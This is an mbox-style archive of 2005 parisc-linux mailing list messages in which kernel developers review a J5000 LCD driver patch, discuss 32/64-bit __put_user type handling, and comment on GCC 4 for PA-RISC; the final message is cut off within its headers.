List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: n6szYi0QeSE5+76WZHQhaXN2IGRvb8AG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22475

On Wed, Mar 23, 2005 at 06:55:07PM +0000, David Pye wrote:
> It can DEFINITELY be improved further, primarily by increasing the delay 
> between rescheduling the work queue item, so reducing CPU util.  I'll submit 
> a later patch for that pending feedback on this one, which is of course very 
> welcome!

one nit after quickly glancing at it:
> +static int led_wq_created = 0;
> +static struct workqueue_struct *led_wq;

led_wq_created isn't needed. Just test led_wq != NULL.

> +	unsigned long wait_jiffies = (lcd_info.min_cmd_delay / 1000000) * HZ;

Won't this work out to be zero?
ISTR min_cmd_delay was "40" or something like that.

grundler <532>fgrep min_cmd_delay drivers/parisc/led.c
        unsigned int min_cmd_delay;     /* delay in uS after cmd-write (LCD only) */
        .min_cmd_delay =        40,
...

Yeah. You want (lcd_info.min_cmd_delay * 1000000)/HZ and this needs
to be rounded up.

> +	for (i=0; i<4; ++i) {
> +		if ((leds & mask[i]) != (lastleds & mask[i])) {
> +			gsc_writeb( blockp[i]->command, LCD_CMD_REG );
> +			
> +			set_current_state(TASK_UNINTERRUPTIBLE);		
> +			schedule_timeout(wait_jiffies);	
> +
> +			gsc_writeb( leds & mask[i] ? blockp[i]->on : 
> +					blockp[i]->off, LCD_DATA_REG );
> +			
> +			set_current_state(TASK_UNINTERRUPTIBLE);		
> +			schedule_timeout(wait_jiffies);	
> +		}

I like this *alot* better. Very nice.


thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Comments?
Date: Wed, 23 Mar 2005 15:53:11 -0500 (EST)
Lines: 106
Approved: news@gmane.org
Message-ID: <200503232053.j2NKrBsR026378@hiauly1.hia.nrc.ca>
References: <20050323172922.GK21986@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623709 13411 80.91.229.3 (22 Nov 2014 02:35:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Mar 2005 20:53:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 23 Mar 2005 21:53:42 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1BA257D65E;
	Wed, 23 Mar 2005 13:54:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21929-06; Wed, 23 Mar 2005 13:54:52 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0BF257D663;
	Wed, 23 Mar 2005 13:54:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 311707D65D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Mar 2005 13:54:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21765-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Mar 2005 13:54:46 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9BCF87D655
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Mar 2005 13:54:46 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j2NKrBhF026379; Wed, 23 Mar 2005 15:53:12 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j2NKrBsR026378;
	Wed, 23 Mar 2005 15:53:11 -0500 (EST)
In-Reply-To: <20050323172922.GK21986@parcelfarce.linux.theplanet.co.uk> from
	"Matthew Wilcox" at Mar 23, 2005 05:29:22 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: D7IzYh4eeSE5+76WZHQhaXN2IGRvb0CL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22476

> > I got a bit paranoid about __put_user after the above bug.  Looking at
> > it, I believe that the LP64 version is broken for *(ptr) types of long,
> > unsigned long, and pointer types.  I believe that the current code
> > puts a 64-bit value instead of the 32-bit value that the 32-bit runtime
> > expects for these types.  This is fixed by adding a layer over the
> > old __put_user macro to do various type checking.
> 
> Hum.  It's definitely a tricky problem.  On its face, you're right;
> we shouldn't be writing 64-bit values to a 32-bit userspace.  However,
> the compatibility layers often do something like:
> 
> asmlinkage int sys32_sendfile64(int out_fd, int in_fd, compat_loff_t __user *off
> set, s32 count)
> {
>         mm_segment_t old_fs = get_fs();
>         int ret;
>         loff_t lof;
>         if (offset && get_user(lof, offset))
>                 return -EFAULT;
>         set_fs(KERNEL_DS);
>         ret = sys_sendfile64(out_fd, in_fd, offset ? (loff_t __user *)&lof : NUL
> L, count);
>         set_fs(old_fs);
>         if (offset && put_user(lof, offset))
>                 return -EFAULT;
>         return ret;
> }
> 
> Then sys_sendfile64() will do a put_user() to write to the loff_t variable,
> and writing a 32-bit value to that would definitely be the wrong thing to do.

I don't believe that the proposed change would do that.  In this case,
the type of *(ptr) is long long (s64).  This is one of the special cases
in the __LP64__ __builtin_choose_expr check.  If we have a 64-bit value
that is 64-bits in the 32-bit runtime (long long, unsigned long long
or double), we don't cast the pointer (i.e., it still points to a 64-bit
type).  I used s64 and u64 to shorten the line length in the macro.
They are defined as long long and unsigned long long.

__builtin_types_compatible_p is strict in determining whether two
types are compatible.  For example, a long is not compatible with a
long long even though they have the the same size in hppa64.  Similarly,
a char * and int * are not compatible.  I checked the long versus
long long compatibility under hpux.

There are definitely places where put_user is used to put pointers.
I believe that there also some places where a long is transferred.

The put_user uses with pointers cause warnings in 32-bit builds
because the u64 cast in the following code snippet

#define __put_kernel_asm64(__val,ptr) do {                  \
        u64 __val64 = (u64)__val;                           \

is undefined (it's not defined in the C standard how the pointer
should be extended).  As I tried to indicate in my previous mail,
this isn't a real problem as this code patch isn't used in this
case.  GCC should delete the code but there may be problems in doing
this before the warning is generated.  I like to eliminate warnings
such as this as they could easily be real problems.

Here is a place in arch/parisc/kernel/signal.c where there is a
problem with transferring a pointer:

          err |= __put_user(current->sas_ss_size, &frame->uc.uc_stack.ss_s

The type of ss_sp is void *.  There are also similar problems in
kernel/signal.c (si_ptr and si_addr).  In this case, the current version
of put_user will transfer 64-bits when using a hppa64 kernel.

> > The rest of the changes are just warning fixes that I noticed during
> > testing.  I don't believe that they have a functional effect.
> 
> Those warnings are reminders that nobody's audited this code for ioremap
> compatibility:

Ok :(

> Someone else is fixing that -- in XFS or ieee1394, right?

These are the warnings that I was referring to:

  CC [M]  fs/xfs/xfs_inode_item.o
fs/xfs/xfs_inode_item.c: In function `xfs_inode_item_pushbuf':
fs/xfs/xfs_inode_item.c:803: warning: passing arg 1 of `atomic_read' from incompatible pointer type
fs/xfs/xfs_inode_item.c:825: warning: passing arg 1 of `atomic_read' from incompatible pointer type

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

#include <stdio.h>
int
main ()
{
  printf ("%d\n", __builtin_types_compatible_p (long, long long));
  return 0;
}

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Comments?
Date: Wed, 23 Mar 2005 16:07:27 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200503232107.j2NL7RPk026516@hiauly1.hia.nrc.ca>
References: <200503232053.j2NKrBsR026378@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623710 13415 80.91.229.3 (22 Nov 2014 02:35:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Mar 2005 21:07:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 23 Mar 2005 22:07:44 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 55C567D673;
	Wed, 23 Mar 2005 14:09:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22142-06; Wed, 23 Mar 2005 14:09:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB9F67D667;
	Wed, 23 Mar 2005 14:09:04 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5E2D87D663
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Mar 2005 14:08:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21929-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Mar 2005 14:08:59 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id D1C377D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Mar 2005 14:08:58 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j2NL7RhF026517; Wed, 23 Mar 2005 16:07:28 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j2NL7RPk026516;
	Wed, 23 Mar 2005 16:07:27 -0500 (EST)
In-Reply-To: <200503232053.j2NKrBsR026378@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Mar 23, 2005 03:53:11 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 978zYvEQeSE5+76WZHQhaXN2IGRvb0CV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22477

> Here is a place in arch/parisc/kernel/signal.c where there is a
> problem with transferring a pointer:
> 
>           err |= __put_user(current->sas_ss_size, &frame->uc.uc_stack.ss_s
> 
> The type of ss_sp is void *.  There are also similar problems in
> kernel/signal.c (si_ptr and si_addr).  In this case, the current version
> of put_user will transfer 64-bits when using a hppa64 kernel.

I should have added that that the kernel should only transfer 32 bits in
this case.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5000 LCD patch
Date: Wed, 23 Mar 2005 22:01:36 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20050324050136.GE10544@colo.lackof.org>
References: <200503231855.10502.dmp@davidmpye.dyndns.org>
	<20050323201831.GC10544@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623710 13418 80.91.229.3 (22 Nov 2014 02:35:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: David Pye <dmp@davidmpye.dyndns.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2005 05:00:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx022) with SMTP; 24 Mar 2005 06:00:09 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6AC6A7D670;
	Wed, 23 Mar 2005 22:01:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23495-01; Wed, 23 Mar 2005 22:01:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7AC527D65E;
	Wed, 23 Mar 2005 22:01:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 04C477D655
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Mar 2005 22:01:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23214-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Mar 2005 22:01:26 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 8B02A7D652
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Mar 2005 22:01:26 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 76D93298059;
	Wed, 23 Mar 2005 22:01:37 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19872-06; Wed, 23 Mar 2005 22:01:36 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1CA68298056; Wed, 23 Mar 2005 22:01:36 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20050323201831.GC10544@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DSwwYiBieSE5+76WZHQhaXN2IGRvb8Ad
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22478

On Wed, Mar 23, 2005 at 01:18:31PM -0700, Grant Grundler wrote:
> You want (lcd_info.min_cmd_delay * 1000000)/HZ

Of course this is wrong...David was almost right in his original
and got it right in a followup:
	(lcd_info.min_cmd_delay * HZ)/1000000

ie (us * Hz)/us == Hz and that's what we want.

sorry,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Thu, 24 Mar 2005 11:19:28 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200503241619.j2OGJScZ000411@hiauly1.hia.nrc.ca>
References: <kfhwtrx2myr.fsf@csclub.uwaterloo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623710 13421 80.91.229.3 (22 Nov 2014 02:35:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: ja2morri@csclub.uwaterloo.ca (James A. Morrison)
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2005 16:20:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 24 Mar 2005 17:20:05 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2E9867D671;
	Thu, 24 Mar 2005 09:21:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27717-05; Thu, 24 Mar 2005 09:21:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9AB967D673;
	Thu, 24 Mar 2005 09:21:20 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 58BA17D670
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 09:21:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27513-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 09:21:15 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id D112B7D663
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 09:21:14 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j2OGJShF000412; Thu, 24 Mar 2005 11:19:29 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j2OGJScZ000411;
	Thu, 24 Mar 2005 11:19:28 -0500 (EST)
In-Reply-To: <kfhwtrx2myr.fsf@csclub.uwaterloo.ca> from "James A. Morrison" at
	Mar 24, 2005 08:27:24 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4o0wYv0aeSE5+76WZHQhaXN2IGRvb0C3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22479

>  GCC 4 already produces the same code for these functions*.  Attached is the
> final_cleanup dumb of an O2 build of this file.

My impression is that GCC 4 is doing a better job with 64-bit code
than previous versions although I haven't run any benchmarks.  It
could be as much as a 10% improvement in performance on average.
However, 64-bit code is still slower than 32-bit code.

>>From a PA standpoint, GCC 4 is ready for serious testing.  All testsuite
bugs have been squashed in C and C++.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Thu, 24 Mar 2005 09:59:47 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20050324165947.GA29361@colo.lackof.org>
References: <kfhwtrx2myr.fsf@csclub.uwaterloo.ca>
	<200503241619.j2OGJScZ000411@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623711 13430 80.91.229.3 (22 Nov 2014 02:35:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2005 16:58:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 24 Mar 2005 17:58:15 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B6ECA7D676;
	Thu, 24 Mar 2005 09:59:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28065-04; Thu, 24 Mar 2005 09:59:42 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DD0667D678;
	Thu, 24 Mar 2005 09:59:41 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
